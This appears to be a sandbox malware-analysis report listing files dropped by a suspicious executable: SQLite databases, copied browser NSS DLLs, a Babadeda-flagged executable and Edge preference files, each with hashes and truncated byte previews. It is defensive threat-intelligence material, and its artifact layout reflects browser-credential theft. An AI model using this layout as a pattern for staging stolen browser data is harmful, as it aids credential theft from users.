Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "27fb6245-bd08-4de6-8f4d-2ece3f597752");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696491690);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696491694);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\CBKFIECBGDHJKECAKFBGDHJKEC

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.848598812124929
Encrypted:	false
SSDEEP:	24:TLVF1kwNbXYFpFNYcw+6UwcQVXH5fBODYfOg1ZAJFF0DiUhQ5de5SjhXE1:ThFawNLopFgU10XJBODqzqFF0DYde5P
MD5:	9664DAA86F8917816B588C715D97BE07
SHA1:	FAD9771763CD861ED8F3A57004C4B371422B7761
SHA-256:	8FED359D88F0588829BA60D236269B2528742F7F66DF3ACF22B32B8F883FE785
SHA-512:	E551D5CC3D5709EE00F85BB92A25DDC96112A4357DFEA3D859559D47DB30FEBD2FD36BDFA2BEC6DCA63D3E233996E9FCD2237F92CEE5B32BA8D7F2E1913B2DA9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GCBGCGHDGIEGCBFIEGCBAKJJEB

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03786218306281921
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWB2IGKhNbxrO3Dpvu2HI:58r54w0VW3xWB2ohFQ3Y2
MD5:	4BB4A37B8E93E9B0F5D3DF275799D45E
SHA1:	E27DF7CC49B0D145140C119A99C1BBAA9ECCE8F7
SHA-256:	89BC0F21671C244C40A9EA42893B508858AD6E1E26AC16F2BD507C3E8CBB3CF7
SHA-512:	F2FC9067EF11DC3B719507B97C76A19B9E976D143A2FD11474B8D2A2848A706AFCA316A95FEEBA644099497A95E1C426CDAB923D5A70619018E1543FEF3182DB
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HJJJECFIECBGDGCAAAEHIEGDGC

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KJDGDBFB

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 9, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2656036693136323
Encrypted:	false
SSDEEP:	384:KrJ/2qOB1nxCkMkSAELyKOMq+8HKkjucswRv8p3nVumW:K0q+n0Jk9ELyKOMq+8HKkjuczRv89a
MD5:	8AB4CE0EE4611E0678134C0EAFC4285F
SHA1:	1D8211DA9F7C5E55320FA53D7F41BBA9B5F29F2B
SHA-256:	E58B5446D02F957D985CB717A6296642F74A40ACA26B5D2982F4641FDDB23E82
SHA-512:	5E557014C82D52AD338B7238DC108A05861D7DB00197042DA0A21A7E6D74ED7066EFF29F0E405E7FAEA68926A4A5FEE4CB57FD406270F481E8C8B388ED166F92
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KJEHJKJEBGHJJKEBGIEC

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KJJJDHDGDAAKECAKJDAEGCBKEH

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KKKJKEBK

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.137181696973627
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
MD5:	2D903A087A0C793BDB82F6426B1E8EFB
SHA1:	E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
SHA-256:	AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
SHA-512:	90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: Bootstrapper.exe, Detection: malicious, Browse Filename: azeyNF3kkf.exe, Detection: malicious, Browse Filename: Setup .exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: Nin6JE44ky.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: Bootstrapper.exe, Detection: malicious, Browse Filename: azeyNF3kkf.exe, Detection: malicious, Browse Filename: Setup .exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: Nin6JE44ky.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\1000003002\e0dbbf79bf.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	91648
Entropy (8bit):	6.752989414606893
Encrypted:	false
SSDEEP:	1536:L7fPGykbOqjoHm4pICdfkLtAfupcWX50MxFY+yIOlnToIfBxN9OHOq:Hq6+ouCpk2mpcWJ0r+QNTBfBvc
MD5:	CF96C7B65A488315A06387268BE0014C
SHA1:	2F6258D1D16A61176AC6CFE12AD73B4DE0BB446C
SHA-256:	9BADAD65FE70D1CA30DDDD43EB7F2250F9840AB518430B7D5F40059CC32B208E
SHA-512:	F871D65C0D835AAF57C2D23FEB39B384EDFD2473EACCAEBC66B2CEABD291C810D7473659C818EB5014D85982D819A29D686CD62847A81C2C1E46F1049C78E31A
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Babadeda, Description: Yara detected Babadeda, Source: C:\Users\user\1000003002\e0dbbf79bf.exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...b.@]...............2.....V...............0....@.........................................................................\|q......................................................................................pt..,............................code....7.......8.................. ..`.text........P.......<.............. ..`.rdata...3...0...4..................@..@.data...,....p.......D..............@....rsrc................V..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\6ad2af4d-f886-4f63-bea2-62bb0b38e6e0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	60643
Entropy (8bit):	6.100923732529648
Encrypted:	false
SSDEEP:	1536:TMSzMtXija+aXPGWv/sxtwadQnPRapMFoW7VLyMV/YosV:TMSuij72v/4K9nJapsvVeZosV
MD5:	5895914B16EEC7477655104D25095A82
SHA1:	12636F22215EA675F8CCF23D46407685384C18B0
SHA-256:	FAD17133AEB0C6743C7EAD4BD953EAFDFA58E2E5B68B6D5235237F8069FF9393
SHA-512:	2663D06C9431B47161964469E996BA72D2338B8FD979E60F4B409810F5ABB6DE65353FF082C12588C084D9CC42B196FB66CABBBE61D4477110582438AFF59928
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1721981597"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\6ceed8aa-b02c-4356-9dce-5d44672e1e1e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	58615
Entropy (8bit):	6.103484994134726
Encrypted:	false
SSDEEP:	1536:M/Ps+wsI7yOaCPGWv/sxtwaj7VLyMV/YoskFoC:M/0+zI7yOXv/4KsVeZoskn
MD5:	B0DF0FE812BCAF4936CF232D04AC850E
SHA1:	FCAA919ABC08251191C5549CF5E91763CF8F2B50
SHA-256:	36A64B51296E2D8974578E5234D623D63413CCCC76460A77EF8255E2F146B44A
SHA-512:	9EF32EF7D0732D890CE4A58B82C9EC0A608E36710C82CBE8278171260AFF1C33D3565280445E0E764EC98855BA7939F9BB8C7D3617AD6C02F832CC2A37D9CF0B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1721981597"},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0V

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\748b55f5-2c2b-4515-b865-ef4b7ecb1e83.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	60643
Entropy (8bit):	6.100911726133913
Encrypted:	false
SSDEEP:	1536:TMSzMtXija+aCPGWv/sxtwadQnPRapMFoW7VLyMV/YosV:TMSuij7Xv/4K9nJapsvVeZosV
MD5:	CE346DA313271EE033A914BAF8D4C466
SHA1:	4C6F4C7BF5B97840FAAC5D216D40D48F3A3E832B
SHA-256:	A66E6F69C7D9255898AD5B0D77202FFAC1CF2A1845F7378DBDFDC3DDAAC5229A
SHA-512:	D524803FE6CCFCD285C2242DC79EF757F69518C15816818C0B5D51F0969C1B2A9BD013805855882BA2B5CFBB0C07069FA8372A024716888E0CD04126345FEBBA
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1721981597"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-66A35A95-B4.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.04788729972518812
Encrypted:	false
SSDEEP:	192:Zsl0m5tmEnOAU5YCEJPi6VBKP7+G1gsX2KIX5kvjBzhc5N9Mf+RQ9ab9HaWn8y0d:Gl0UtPQEMq1ahMimFHh08T2RGOD
MD5:	FC9C666993B9E4D2EE7277B16049F7E3
SHA1:	CD2AB8912101ED14F8CF49C08040203D700BB12B
SHA-256:	D9334ACE73F1E39E2F311FCF546E3E5CE07D1118D5D7FA11F616591B00B3BE64
SHA-512:	865E324A89CC76334A50ACEB80154AEBA2D22696986FD5D7A0CF2B13DB7D8C842B572990CB133312038D91A537DC755D8279A57FE1E2C17D1C9AB232649DBA91
Malicious:	false
Preview:	...@..@...@.....C.].....@................k..P[..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".jwvjjt20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@...............................0...w..U.>.........."....."...24.."."xDkc0HT9c2ekfj/3J+6x4yELW+Knys1OtBnWqRtJUmw=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z....l....'@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2.........m...... .2............... .2..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-66A35A98-53C.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.5244585830823258
Encrypted:	false
SSDEEP:	6144:tI6jmZckgCtgaHzmAgZ1PQBtqkedsPmcaHhsv:LCtL5gZ1d/U
MD5:	34924D42F75A6CCDEC63B2F547FBF504
SHA1:	E034DAE2FCC053F32F2AC2465DCF95FA5377F384
SHA-256:	8DBA6F9FF9CD355884F27A46F418AE294CCF823865EE70FF1B5F5E36AD4BDE28
SHA-512:	4C9351DF9F02A26F3E01C1891FBCC701E8245443C5BF5D4D6CE8806EF42E3F4F7C657B8F16ECFDB8965B98FB2F4FC92F0947A619498EC2598532EB76D392DCC6
Malicious:	false
